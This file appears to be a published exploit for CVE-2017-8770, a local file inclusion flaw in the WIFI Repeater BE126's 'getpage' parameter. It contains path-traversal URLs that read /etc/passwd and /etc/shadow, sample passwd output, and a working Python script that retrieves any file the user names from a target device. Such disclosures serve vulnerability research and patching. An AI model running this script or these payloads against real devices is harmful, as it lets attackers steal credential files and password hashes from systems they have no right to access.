64 lines
1.5 KiB
Python
Executable file
64 lines
1.5 KiB
Python
Executable file
# Exploit Title: WIFI Repeater BE126 – Local File Inclusion
|
||
# Date Publish: 23/08/2017
|
||
# Exploit Authors: Hay Mizrachi, Omer Kaspi
|
||
|
||
# Contact: haymizrachi@gmail.com, komerk0@gmail.com
|
||
# Vendor Homepage: http://www.twsz.com
|
||
# Category: Webapps
|
||
# Version: 1.0
|
||
# Tested on: Windows/Ubuntu 16.04
|
||
|
||
# CVE: CVE-2017-8770
|
||
|
||
1 - Description:
|
||
|
||
'getpage' HTTP parameter is not escaped in include file,
|
||
|
||
Which allow us to include local files with a root privilege user, aka /etc/password,
|
||
/etc/shadow and so on.
|
||
|
||
2 - Proof of Concept:
|
||
|
||
http://Target/cgi-bin/webproc?getpage=[LFI]
|
||
|
||
|
||
|
||
/etc/passwd:
|
||
|
||
http://Target/cgi-bin/webproc?getpage=../../../../etc/passwd&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard
|
||
|
||
|
||
#root:x:0:0:root:/root:/bin/bash
|
||
|
||
root:x:0:0:root:/root:/bin/sh
|
||
|
||
#tw:x:504:504::/home/tw:/bin/bash
|
||
|
||
#tw:x:504:504::/home/tw:/bin/msh
|
||
|
||
|
||
|
||
/etc/shadow;
|
||
|
||
|
||
|
||
http://Target/cgi-bin/webproc?getpage=../../../../etc/shadow&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard
|
||
|
||
|
||
|
||
import urllib2, httplib, sys
|
||
|
||
'''
|
||
LFI PoC By Hay and Omer
|
||
'''
|
||
|
||
print "[+] cgi-bin/webproc exploiter [+]"
|
||
print "[+] usage: python " + __file__ + " http://<target_ip>"
|
||
|
||
ip_add = sys.argv[1]
|
||
fd = raw_input('[+] File or Directory: aka /etc/passwd and etc..\n')
|
||
|
||
print "Exploiting....."
|
||
print '\n'
|
||
URL = "http://" + ip_add + "/cgi-bin/webproc?getpage=/" + fd + "&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard"
|
||
print urllib2.urlopen(URL).read()
|